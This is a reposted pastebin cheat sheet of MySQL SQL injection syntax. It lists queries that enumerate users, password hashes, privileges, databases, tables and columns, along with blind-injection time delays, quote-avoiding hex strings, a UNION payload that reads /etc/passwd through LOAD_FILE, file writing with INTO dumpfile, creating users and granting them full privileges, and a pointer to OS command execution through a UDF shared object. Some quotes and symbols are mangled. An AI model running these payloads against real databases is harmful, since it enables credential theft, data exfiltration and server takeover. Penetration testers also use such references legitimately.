MySQL SQL Injection Cheat Sheet


SUBMITTED BY: Guest

DATE: Nov. 26, 2013, 10:50 a.m.

FORMAT: Text only

SIZE: 4.9 kB

HITS: 2373

  1. MySQL SQL Injection Cheat Sheet
  2. Some useful syntax reminders for SQL Injection into MySQL databases…
  3. This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
  4. [Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.]
  5. Version:
  6. SELECT @@version
  7. Comments:
  8. SELECT 1; #comment
  9. SELECT /*comment*/1;
  10. Current User:
  11. SELECT user();
  12. SELECT system_user();
  13. List Users:
  14. SELECT user FROM mysql.user; — priv
  15. List Password Hashes:
  16. SELECT host, user, password FROM mysql.user; — priv
  17. List Privileges:
  18. SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
  19. List DBA Accounts:
  20. SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
  21. Current Database:
  22. SELECT database()
  23. List Databases:
  24. SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
  25. SELECT distinct(db) FROM mysql.db — priv
  26. List Columns:
  27. SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
  28. List Tables:
  29. SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
  30. Find Tables From Column Name:
  31. SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
  32. Select Nth Row:
  33. SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
  34. SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
  35. Select Nth Char:
  36. SELECT substr(‘abcd’, 3, 1); # returns c
  37. Bitwise AND:
  38. SELECT 6 & 2; # returns 2
  39. SELECT 6 & 1; # returns 0
  40. ASCII Value -> Char:
  41. SELECT char(65); # returns A
  42. Char -> ASCII Value:
  43. SELECT ascii(‘A’); # returns 65
  44. Casting:
  45. SELECT cast(‘1′ AS unsigned integer);
  46. SELECT cast(‘123′ AS char);
  47. String Concatenation:
  48. SELECT CONCAT(‘A’,'B’); #returns AB
  49. SELECT CONCAT(‘A’,'B’,'C’); # returns ABC
  50. If Statement:
  51. SELECT if(1=1,’foo’,'bar’); — returns ‘foo’
  52. Case Statement:
  53. SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
  54. Avoiding Quotes:
  55. SELECT 0×414243; # returns ABC
  56. Time Delay:
  57. SELECT BENCHMARK(1000000,MD5(‘A’));
  58. SELECT SLEEP(5); # >= 5.0.12
  59. Command Execution:
  60. If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.
  61. Local File Access:
  62. …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
  63. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
  64. Hostname, IP Address:
  65. SELECT @@hostname;
  66. Create Users:
  67. CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
  68. Delete Users:
  69. DROP USER test1; — priv
  70. Make User DBA:
  71. GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
  72. Location of DB files:
  73. SELECT @@datadir;
  74. Default/System Databases:
  75. information_schema (>= mysql 5.0)
  76. mysql

comments powered by Disqus